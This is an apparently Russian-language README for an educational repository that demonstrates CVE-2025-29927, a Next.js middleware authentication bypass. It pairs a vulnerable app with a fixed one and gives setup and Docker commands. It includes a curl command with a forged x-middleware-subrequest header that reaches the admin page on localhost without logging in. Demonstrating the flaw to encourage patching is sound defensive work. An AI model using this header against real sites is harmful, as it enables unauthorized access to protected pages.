
Демонстрация CVE-2025-29927: обход аутентификации middleware в Next.js через подделку заголовка x-middleware-subrequest. Включает примеры уязвимых и исправленных приложений для образовательных целей.
Этот репозиторий содержит демонстрацию уязвимости Next.js CVE-2025-29927, которая затрагивает версии Next.js 15.2.2 и более ранние. Уязвимость позволяет злоумышленникам обходить проверки аутентификации middleware, устанавливая заголовок x-middleware-subrequest.
Это NX монорепозиторий, содержащий два приложения Next.js:
В версиях Next.js до 15.2.3 существует уязвимость безопасности в реализации middleware. Middleware не проверяет должным образом происхождение заголовка x-middleware-subrequest, что позволяет злоумышленникам подделать этот заголовок и обойти проверки аутентификации на основе middleware.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
Уязвимое приложение будет доступно по адресу http://localhost:3000.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
Исправленное приложение будет доступно по адресу http://localhost:3001.
Вы также можете запустить приложения с помощью Docker:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
В уязвимой версии (15.2.2) вы сможете получить доступ к странице администратора без аутентификации, добавив заголовок x-middleware-subrequest.
В исправленной версии (15.2.3) middleware корректно проверяет происхождение этого заголовка, и вы по-прежнему будете перенаправлены на страницу входа.
Для демонстрационных целей вы можете войти с помощью:
adminpassword123Если вы используете Next.js в продакшене, обязательно обновитесь до версии 15.2.3 или новее, чтобы защититься от этой уязвимости.